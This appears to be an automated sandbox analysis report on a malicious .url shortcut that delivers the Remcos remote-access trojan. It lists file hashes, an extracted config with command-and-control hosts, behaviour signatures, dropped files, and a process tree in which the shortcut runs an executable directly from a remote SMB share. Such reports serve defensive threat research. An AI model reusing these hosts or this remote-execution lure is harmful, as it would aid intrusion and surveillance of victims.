Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2023 06:55

General

  • Target

    Direzione.url

  • Size

    206B

  • MD5

    6547426d8875ea1864bee6479a6a8fee

  • SHA1

    6e27d0989f5c45a07a9dddaabcc3dcdbe5338d0a

  • SHA256

    e3454a40e1903c9369f74b323df4dda0931449a0321cd3ae21f3e8d0ff92b93c

  • SHA512

    b50af831ffcaebbd43db8f127148d8f70ec8e2909b064e1a9ec1683c42ea98ddf93bb0eaf10e8c42ebf94b343e08cc0919dd6a1eb33943aa9cd19e64e9b2b279

Score
10/10

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

listpoints.online:6090

retghrtgwtrgtg.bounceme.net:3839

listpoints.click:7020

datastream.myvnc.com:5225

gservicese.com:2718

center.onthewifi.com:8118

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    explorer.exe

  • delete_file

    false

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-BXAQVH

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2216
    • \??\UNC\62.173.146.111\scarica\Agenzia_Entrate_2023.exe
      "\\62.173.146.111\scarica\Agenzia_Entrate_2023.exe"
      2⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3004
    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\liveupdate.exe
      C:\Users\Admin\AppData\Roaming\DebugApp_v1\liveupdate.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\SysWOW64\cmd.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3360
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          4⤵
            PID:4276

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\252a0c28

      Filesize

      1.1MB

      MD5

      c71357ea4f2252394ee78dda47be246f

      SHA1

      e36e708ca73271addd8aced0c9144fe3633e6a13

      SHA256

      ff3d339550ab7284103d85e91ad672fead8026f0e8122977b5f8fff8952ee1c6

      SHA512

      4f3efeeae1a302bd6506396843b5fd8571b64d29a775a95618cce621be38bfd9714cd5723278d808ea89271c17648082c112f37263b3cfd1057418ae4c3b8c23

    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\jouk.mpg

      Filesize

      1.0MB

      MD5

      4d91a20aa4d22ae69a4ea79f87174247

      SHA1

      74a240121fd831e4dfa657d38f31c4ae28ade8cf

      SHA256

      9c7007e3001feb3b3a3f1fed787fb03f2bc3a45b334d12e8cb118c1c4552e3e5

      SHA512

      eaf39b4253ed4f0e0dcd9130472b5fe4dfca2e45ea33cd9a4ea55824940ddf88fd882eab70d0543f951684b953611bba059b71a2ed076ed965fd24fe845bff79

    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\liveupdate.exe

      Filesize

      485KB

      MD5

      6bf3b86782b7911b76029737162ae206

      SHA1

      1b8009865c79b5674734ba4ce9a6905bed78182e

      SHA256

      535f67c47f811aa5b421904959dd6931396a52cdbb9ddb69bface741356dbbef

      SHA512

      385291ef2ba36b39fd6c7c5af08ad9127d60685e28d69e55152341f522b79f2f4ca3c1aa9e13575dbce0699d976b34dbb5985d08495ca22dc20ed323b7d80ba1

    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\liveupdate.exe

      Filesize

      485KB

      MD5

      6bf3b86782b7911b76029737162ae206

      SHA1

      1b8009865c79b5674734ba4ce9a6905bed78182e

      SHA256

      535f67c47f811aa5b421904959dd6931396a52cdbb9ddb69bface741356dbbef

      SHA512

      385291ef2ba36b39fd6c7c5af08ad9127d60685e28d69e55152341f522b79f2f4ca3c1aa9e13575dbce0699d976b34dbb5985d08495ca22dc20ed323b7d80ba1

    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\log.dll

      Filesize

      101KB

      MD5

      e63883e03a5b030dcd4d4c4688c0fa59

      SHA1

      2fe9e4a94acb104b4a7acf29d1110653849efdec

      SHA256

      d9c661c6799daafd2dead8aca1c69e383999de94f18e0ef23f7b2787d56b5ed0

      SHA512

      828e3a10caf960b080391b6c2efee6591b903c5561a9e4e513af284de283b0f21a10935e168f287856e7cd6be5373f421491ec672341201a1f3d3ccdc98a4bf6

    • C:\Users\Admin\AppData\Roaming\DebugApp_v1\log.dll

      Filesize

      101KB

      MD5

      e63883e03a5b030dcd4d4c4688c0fa59

      SHA1

      2fe9e4a94acb104b4a7acf29d1110653849efdec

      SHA256

      d9c661c6799daafd2dead8aca1c69e383999de94f18e0ef23f7b2787d56b5ed0

      SHA512

      828e3a10caf960b080391b6c2efee6591b903c5561a9e4e513af284de283b0f21a10935e168f287856e7cd6be5373f421491ec672341201a1f3d3ccdc98a4bf6

    • memory/3004-14-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3004-11-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3004-9-0x00007FFEE5DD0000-0x00007FFEE5FC5000-memory.dmp

      Filesize

      2.0MB

    • memory/3004-8-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3004-18-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3004-27-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3004-7-0x0000000004020000-0x0000000004030000-memory.dmp

      Filesize

      64KB

    • memory/3080-24-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3080-25-0x00007FFEE5DD0000-0x00007FFEE5FC5000-memory.dmp

      Filesize

      2.0MB

    • memory/3080-26-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3080-28-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3360-30-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3360-32-0x00007FFEE5DD0000-0x00007FFEE5FC5000-memory.dmp

      Filesize

      2.0MB

    • memory/3360-34-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3360-35-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/3360-37-0x0000000073B50000-0x0000000073CCB000-memory.dmp

      Filesize

      1.5MB

    • memory/4276-38-0x00007FFEE5DD0000-0x00007FFEE5FC5000-memory.dmp

      Filesize

      2.0MB

    • memory/4276-39-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-41-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-42-0x0000000000D50000-0x0000000001183000-memory.dmp

      Filesize

      4.2MB

    • memory/4276-43-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-44-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-45-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-46-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-47-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-48-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-49-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB

    • memory/4276-50-0x0000000000400000-0x0000000000484000-memory.dmp

      Filesize

      528KB